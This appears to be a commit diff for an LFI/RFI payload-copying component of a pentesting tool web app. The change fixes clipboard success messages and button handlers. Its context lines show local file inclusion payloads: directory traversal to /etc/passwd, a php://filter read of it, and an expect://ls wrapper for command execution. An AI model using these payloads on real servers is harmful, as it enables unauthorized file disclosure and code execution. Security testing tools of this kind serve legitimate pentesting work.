Skip to content

Commit 5198ef3

Browse files
committed
Fix RFI Payload
1 parent 655f178 commit 5198ef3

File tree

1 file changed

+7
-4
lines changed

1 file changed

+7
-4
lines changed

src/components/web/LFI.js

Lines changed: 7 additions & 4 deletions
Original file line numberDiff line numberDiff line change
@@ -8,11 +8,13 @@ const { Title, Paragraph } = Typography;
88

99
export default (props) => {
1010
const successInfoReverseShell = () => {
11-
message.success('Your LFI payload has been copied');
11+
message.success('Your payload has been copied');
1212
};
13+
1314
const successInfoEncodeURL = () => {
14-
message.success('Your LFI payload URL encoded has been copied');
15+
message.success('Your payload URL encoded has been copied');
1516
};
17+
1618
const directoryTraversal = `foo.php?file=../../../../../../../etc/passwd`;
1719
const phpWrapperLfi = `/example1.php?page=expect://ls`;
1820
const phpWrapperFilter = `/example1.php?page=php://filter/convert.base64-encode/resource=../../../../../etc/passwd`;
@@ -64,6 +66,7 @@ export default (props) => {
6466
{ title: '/windows/system32/license.rtf' },
6567
{ title: '/windows/system32/eula.txt' }
6668
];
69+
6770
return (
6871
<QueueAnim delay={300} duration={1500}>
6972
<Title variant='Title level={3}' style={{ fontWeight: 'bold', margin: 15 }}>
@@ -180,7 +183,7 @@ export default (props) => {
180183
<Clipboard component='a' data-clipboard-text={phpRfi}>
181184
<Button
182185
type='primary'
183-
onClick={message.success('Your RFI payload has been copied')}
186+
onClick={successInfoReverseShell}
184187
style={{ marginBottom: 10, marginTop: 15 }}
185188
>
186189
<CopyOutlined />
@@ -190,7 +193,7 @@ export default (props) => {
190193
<Clipboard component='a' data-clipboard-text={encodeURI(phpRfi)}>
191194
<Button
192195
type='dashed'
193-
onClick={message.success('Your RFI payload URL encoded has been copied')}
196+
onClick={successInfoEncodeURL}
194197
style={{ marginBottom: 10, marginTop: 15, marginLeft: 15 }}
195198
>
196199
<LinkOutlined /> URL encoded

0 commit comments

Comments
 (0)